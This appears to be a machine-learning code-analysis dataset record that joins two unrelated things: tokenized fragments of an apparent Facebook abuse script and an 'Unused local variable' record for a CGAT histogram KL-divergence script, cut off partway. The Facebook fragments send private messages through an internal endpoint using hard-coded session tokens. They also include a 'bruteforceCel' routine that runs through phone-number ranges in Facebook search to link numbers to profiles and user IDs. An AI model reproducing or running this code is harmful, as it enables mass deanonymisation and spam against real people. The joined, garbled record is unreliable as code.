"n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "Threads_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "take", "Photos", "_", "(_", "\"", "thread", "s", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sleep_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "emails_", "+_", "'", " ", "not", " ", "valid", " ", "email", " ", "or", " ", "password", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "User", "IDS_", "(_", "username_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "name", "And", "ID_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "usernames", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "username_", ",_", "username_", "+_", "\"", "User", "Names", ".", "txt", "\"_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "IDS", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "username_", ",_", "username_", "+_", "\"", "User", "IDS", ".", "txt", "\"_", ")_", ",_", "\"", "w", "\"_", ")_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "IDS_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "usernames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "usernames", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "usernames", "_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "total_", "=_", "len_", "(_", "usernames", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "user_", "in_", "usernames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "(_", "100.0_", "*_", "i_", ")_", "/_", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Complete", "d", " ", "[", "%", ".2", "f", "%%", "]\\\\", "r", "'_", "%_", "percentage_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "IDS", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "username_", ",_", "username_", "+_", "\"", "User", "IDS", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "ID_", "=_", "get", "User", "ID_", "(_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "IDS_", "._", "append_", "(_", "user", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "IDS", "File_", "._", "write_", "(_", "user", "ID_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "name", "And", "ID_", "[_", "user", "ID_", "+_", "'\\\\", "n", "'_", "]_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "unknown", " ", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "IDS", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pickle_", "._", "dump_", "(_", "user", "name", "And", "ID_", ",_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "username_", ",_", "username_", "+_", "\"", "User", "Names", "ID", "indexe", "d", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "Priva", "te", "Message_", "(_", "message_", ",_", "buddy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "action", "\\u", "type", "]'_", ":_", "'", "ma", "-", "type", ":", "user", "-", "generat", "ed", "-", "message", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "thread", "\\u", "id", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "\\u", "email", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "coordinate", "s", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "]'_", ":_", "str_", "(_", "int_", "(_", "time_", "(_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "abs", "olute", "]'_", ":_", "'", "Today", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "relative", "]'_", ":_", "get", "Time_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "time", "\\u", "pass", "ed", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "unread", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "forward", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "\\u", "bh", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "\\u", "account", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "\\u", "quas", "ar", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "\\u", "invalid", "\\u", "app", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "spoo", "f", "\\u", "warn", "ing", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "source", "]'_", ":_", "'", "source", ":", "titan", ":", "web", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "body", "]'_", ":_", "message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "has", "\\u", "attach", "ment", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "html", "\\u", "body", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "0", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "buddy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "1", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "force", "\\u", "sms", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "ui", "\\u", "push", "\\u", "phase", "]'_", ":_", "'", "V3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "status", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "message", "\\u", "id", "]'_", ":_", "'<", "139", "476", "642", "449", "9", ":", "312", "667", "021", "2", "-", "412", "512", "111", "9", "@", "mail", ".", "proje", "kti", "tan", ".", "com", ">'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "client", "\\u", "thread", "\\u", "id", "]'_", ":_", "'", "user", ":'_", "+_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "manu", "al", "\\u", "retr", "y", "\\u", "cnt", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "'_", ":_", "'", "web", "\\u", "messenger", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "a", "KT", "y", "BW", "8", "Bg", "Bl", "yi", "bg", "gg", "DD", "zb", "Ha", "F8", "x", "9", "D", "z", "EC", "Q", "Hy", "Um", "y", "Vb", "GAG", "Qi", "8", "Vp", "CC", "-", "KG", "Bx", "mm", "6", "ox", "pb", "GE", "S", "5", "V", "8", "Gh", "6", "VE", "Ch", "yd", "1e", "FE", "sz", "-", "d", "Cx", "K", "9", "xi", "by", "f", "CC", "h", "QE", "jk", "wz", "y", "AAE", "nh", "RG", "e", "Km", "hm", "KV", "R", "z", "9", "H", "xmi", "8", "V", "9", "-", "i", "7", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "1", "w", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "197", "521", "215", "489", "116", "778", "211", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "192", "556", "3", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "mercur", "y", "/", "send", "\\u", "message", "s", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Ctrl", "+", "c", " ", "SIGN", "AL", " ", "Cau", "ght", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "brute", "force", "Cel", "_", "(_", "first_", ",_", "start_", ",_", "end_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "cellp", "hone", "s", "\"_", ",_", "\"", "cellp", "hone", "s", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "cellp", "hone", "s", "\"_", ",_", "\"", "cellp", "hone", "s", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cellp", "hone", "_", "in_", "range_", "(_", "int_", "(_", "start_", ")_", ",_", "int_", "(_", "end_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "(_", "cellp", "hone", "_", "-_", "int_", "(_", "start_", ")_", ")_", "*_", "100.0_", ")_", "/_", "(_", "int_", "(_", "end_", ")_", "-_", "int_", "(_", "start_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Complete", "d", " ", "[", "%", ".6", "f", "%%", "]", " ", "-", " ", "%", "d", " ", "cellp", "hone", " ", "-", " ", "%", "d", " ", "verifie", "d", "\\\\", "r", "'_", "%_", "(_", "percentage_", ",_", "cellp", "hone", "_", ",_", "verified_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "type", "ahe", "ad", "/", "search", "/", "face", "bar", "/", "query", "/?", "value", "=[\"", "'_", "+_", "first_", "+_", "str_", "(_", "cellp", "hone", "_", ")_", "+_", "'\"", "]", "&", "context", "=", "face", "bar", "&", "grammar", "\\u", "version", "=", "746", "6c", "20", "ac", "89", "f4", "7d", "618", "5f", "3a", "651", "461", "c1", "b1", "bac", "9", "a8", "2d", "&", "content", "\\u", "search", "\\u", "mode", "&", "viewer", "='_", "+_", "c\\u", "user_", "+_", "'&", "rsp", "=", "search", "&", "qid", "=", "8", "&", "max", "\\u", "results", "=", "10", "&", "sid", "=", "0.24", "097", "281", "275", "317", "073", "&\\u", "\\u", "user", "='_", "+_", "c\\u", "user_", "+_", "'&", "\\u\\u", "a", "=", "1", "&\\u", "\\u", "dyn", "=", "7", "nma", "j", "Ey", "l2", "qm", "9", "ud", "Dg", "Dx", "y", "IG", "z", "Gp", "UW", "9", "AC", "x", "O", "4", "p", "9", "Gg", "yi", "m", "EV", "FL", "Fw", "x", "Bx", "Cb", "z", "ES", "u", "4", "9", "UJ", "6", "K", "5", "9", "po", "W", "8", "x", "H", "zo", "yf", "w", "&\\u", "\\u", "req", "=", "1", "o", "&\\u", "\\u", "rev", "=", "153", "650", "5", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "dump_", "=_", "json_", "._", "loads_", "(_", "text_", "._", "strip_", "(_", "'", "for", " ", "(", ";", ";)", ";'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "str", "(", "json", "\\u", "dump", "['", "payload", "']", "['", "entit", "ies", "']", "[", "0", "]['", "path", "'])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "str", "(", "json", "\\u", "dump", "['", "payload", "']", "['", "entit", "ies", "']", "[", "0", "]['", "uid", "'])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "first", " ", "+", " ", "str", "(", "cellp", "hone", ")_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "cellp", "hone", "s", "\"_", ",_", "\"", "cellp", "hone", "s", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "first_", "+_", "str_", "(_", "cellp", "hone", "_", ")_", "+_", "'", " ", "'_", "+_", "str_", "(_", "json", "\\u", "dump_", "[_", "'", "payload", "'_", "]_", "[_", "'", "entit", "ies", "'_", "]_", "[_", "0_", "]_", "[_", "'", "path", "'_", "]_", ")_", "+_", "'", " ", "'_", "+_", "str_", "(_", "json", "\\u", "dump_", "[_", "'", "payload", "'_", "]_", "[_", "'", "entit", "ies", "'_", "]_", "[_", "0_", "]_", "[_", "'", "uid", "'_", "]_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
CGATOxford/cgat/scripts/histograms2kl.py
[ { "content": "def main(argv=None):\n \"\"\"script main.\n\n parses command line options in sys.argv, unless *argv* is given.\n \"\"\"\n\n if argv is None:\n argv = sys.argv\n\n parser = E.OptionParser(\n version=\"%prog version: $Id\",\n usage=globals()[\"__doc__\"])\n\n parser.add_option(\"-m\", \"--method\", dest=\"method\", type=\"choice\",\n help=\"method to use [kl=kullback-leibler]\",\n choices=(\"kl\",))\n parser.add_option(\"-n\", \"--no-normalize\", dest=\"normalize\", action=\"store_false\",\n help=\"do not normalize data\")\n parser.add_option(\"-p\", \"--pseudocounts\", dest=\"pseudocounts\", type=\"int\",\n help=\"pseudocounts to add.\")\n parser.add_option(\"-f\", \"--number-format\", dest=\"number_format\", type=\"string\",\n help=\"number format.\")\n\n parser.set_defaults(\n method=\"kl\",\n columns=\"all\",\n headers=True,\n xrange=None,\n pseudocounts=1,\n normalize=True,\n number_format=\"%6.4f\"\n )\n\n (options, args) = E.Start(parser,\n add_pipe_options=True)\n\n if options.xrange:\n options.xrange = map(float, options.xrange.split(\",\"))\n\n data, legend = IOTools.readTable(sys.stdin,\n numeric_type=numpy.float32,\n take=options.columns,\n headers=options.headers,\n truncate=options.xrange)\n\n nrows, ncols = data.shape\n\n # first: normalize rows\n for y in range(1, ncols):\n for x in range(nrows):\n data[x, y] = data[x, y] + float(options.pseudocounts)\n if options.normalize:\n t = numpy.sum(data[:, y])\n for x in range(nrows):\n data[x, y] = data[x, y] / t\n\n for x in range(1, len(legend) - 1):\n for y in range(x + 1, len(legend)):\n\n if options.method == \"kl\":\n d1 = 0.0\n d2 = 0.0\n for bin in range(nrows):\n p = data[bin, x]\n q = data[bin, y]\n d1 += p * math.log(p / q)\n d2 += q * math.log(q / p)\n\n options.stdout.write(\"%s\\t%s\\t%s\\n\" %\n (legend[x], legend[y],\n options.number_format % d1))\n options.stdout.write(\"%s\\t%s\\t%s\\n\" %\n (legend[y], legend[x],\n options.number_format % d2))\n\n E.Stop()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 39 } ]
[ { "span": "argv ", "start_line": 46, "start_column": 8, "end_line": 46, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "main_", "(_", "argv_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "script", " ", "main", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "parse", "s", " ", "command", " ", "line", " ", "options", " ", "in", " ", "sys", ".", "argv", ",", " ", "unl", "ess", " ", "*", "argv", "*", " ", "is", " ", "give", "n", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "argv_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "argv_", "=_", "sys_", "._", "argv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parser_", "=_", "E_", "._", "Optio", "n", "Parser_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "\"%", "prog", " ", "version", ":", " ", "$", "Id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "usage_", "=_", "globals_", "(_", ")_", "[_", "\"\\u\\u", "doc", "\\u\\u\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "m", "\"_", ",_", "\"--", "method", "\"_", ",_", "dest_", "=_", "\"", "method", "\"_", ",_", "type_", "=_", "\"", "choice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "method", " ", "to", " ", "use", " ", "[", "kl", "=", "kul", "lba", "ck", "-", "lei", "bler", "]\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "choices_", "=_", "(_", "\"", "kl", "\"_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "n", "\"_", ",_", "\"--", "no", "-", "normali", "ze", "\"_", ",_", "dest_", "=_", "\"", "normali", "ze", "\"_", ",_", "action_", "=_", "\"", "store", "\\u", "fal", "se", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "do", " ", "not", " ", "normali", "ze", " ", "data", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "p", "\"_", ",_", "\"--", "pseudo", "count", "s", "\"_", ",_", "dest_", "=_", "\"", "pseudo", "count", "s", "\"_", ",_", "type_", "=_", "\"", "int", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "pseudo", "count", "s", " ", "to", " ", "add", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "\"-", "f", "\"_", ",_", "\"--", "number", "-", "format", "\"_", ",_", "dest_", "=_", "\"", "number", "\\u", "format", "\"_", 